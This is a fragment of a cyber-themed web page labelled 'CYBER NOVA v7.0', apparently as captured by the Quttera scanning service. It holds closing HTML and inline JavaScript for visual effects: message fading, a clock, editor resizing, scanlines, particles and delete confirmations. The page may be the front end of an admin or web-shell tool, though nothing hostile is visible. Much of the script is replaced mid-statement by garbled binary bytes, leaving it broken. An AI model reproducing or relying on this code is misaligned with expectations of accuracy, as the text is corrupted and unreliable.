ubKbg; h1eni:
%</div></div></div><div style="color:var(--matrix-green);font-family:Orbitron,monospace;margin-top:20px;font-size:1.1rem">CYBER NOVA v7.0 // NEURAL NETWORK: ACTIVE // SECURITY: MAXIMUM</div></div></div><script>// Cyber Nova Effects
documebFDWfVListener('DOMContentLoaded', function() {
// Auto-hide messages
const messages = document.querySelectorAll('.neural-message');
messages.forEach(msg => {
setTimeout(() => {
msg.style.opacity = '0';
msg.style.transition = 'opacity 0.5s';
setTimeout(() => msg.style.display = 'nnRrScғ &VFR66gV7FWFFT7&W$6667B = new Date();
const timeStr = now.toLocaleTimeString('en-US', {
hour12: false,
hour: '2-digit',
minute: '2-digit',
second: '2-digit'
});
document.querySelectorAll('.session-info > div:last-child').forEach(el => {
if (!el.classList.contains('status-badge')) {
el.textContent = timeStr;
}
});
}
setInterval(updateCyberClock, 1000);
// Editor auto-resize
const editor = document.querySelector('.neural-content');
if (editor) {
editor.addEventListener('input', function() {
this.style.height = 'auto';
this.style.height = (this.scrollHeight + 30) + 'px';
});
editor.dispatchEvent(new Event('input'));
}
// Tool card hover effects
const toolCards = document.querySelectorAll('.tool-card');
toolCards.forEach(card => {
card.addEventListener('mouseenter', function() {
const colors = ['#00eeff', '#00ff41', '#9d00ff', '#ffff00'];
const randl6"6'5Ff"F&F҂6'2VwFӰF27GR&6FrCG&F6'ғ 6&BFDWfVDƗ7FVW"vW6VVfRrgV7FₒF27GR&6Frrsғғ 7&W"66rVffV7@gV7F7&VFU66ƖR67B66ƖRF7VVB7&VFTVVVBvFbr66ƖR7GR775FWB 6FfVCFGth.random() * 100}%;
left: 0;
width: 100%;
height: 1px;
background: linear-gradient(90deg, transparent, var(--matrix-green), transparent);
z-index: 9999;
pointer-events: none;
animation: scanMove 1.5s linear;
`;
document.body.appendChild(scanLine);
setTimegB66ƖR&VfRSТ &F66ƖW06WDFW'f7&VFU66ƖR# FB66F67B7GRF7VVB7&VFTVVVBw7GRr7GRFWD6FVB Wg&W266fRRG&6f&ӢG&6FUR6GТRG&6f&ӢG&6FUR6GТТF7VVBVBVD6B7GR WBf7W2VffV7G067BWG2F7VVBVW'6VV7F$r7&W"֖WBrWG2f$V6WBWBFDWfVDƗ7FVW"vf7W2rgV7FₒF27GR&6Frs#Wf"7&W"&VRsF27GRG&6f&w66R"sғ WBFDWfVDƗ7FVW"v&W"rgV7FₒF27GR&6FrrsF27GRG&6f&rsғғ 6irmation dialogs with cyber theme
const deleteButtons = document.querySelectorAll('.cyber-btn-danger');
deleteButto2f$V6'F'FFDWfVDƗ7FVW"v6Ɩ6rgV7FRb6f&҂~)U$TBDDDTUD4DTSrR&WfVDFVfVBТғғ FB'F6RVffV7G0gV7F7&VFU'F6R67B'F6RF7VVB7&VFTVVVBvFbr'F6R7GR775FWB 6F fixed;
width: 3px;
height: 3px;
background: var(--cyber-blue);
border-radius: 50%;
pointer-events: none;
z-index: 9998;
top: ${Math.random() * 100}%;
left: $zF&F҂S&6Fsf"7&W"&VRF'F6TfBG"F&F҂72ƖV"fFS F7VVB&GVD6B'F6R 6WEFVWB'F6R&VfRSТ 7&VFR'F6W2W&F6ǐ6WDFW'f7&VFU'F6R3 FB'F6RF67B'F6U7GRF7VVB7&VFTVVVBw7GRr'F6U7GRFWD6FV = `
@keyframes particleFloat {
0% { transform: translate(0, 0) scale(1); opacity: 1; }
100% { transform: translate(${Math.random() * 200 - 100}px, ${Math.random() * 200 - 100}px) scale(0); opacity: 0; }
}
`;
document.head.appendChild(particleStyle);
});</script></body></htm
© 2023 Quttera Ltd. All rights reserved.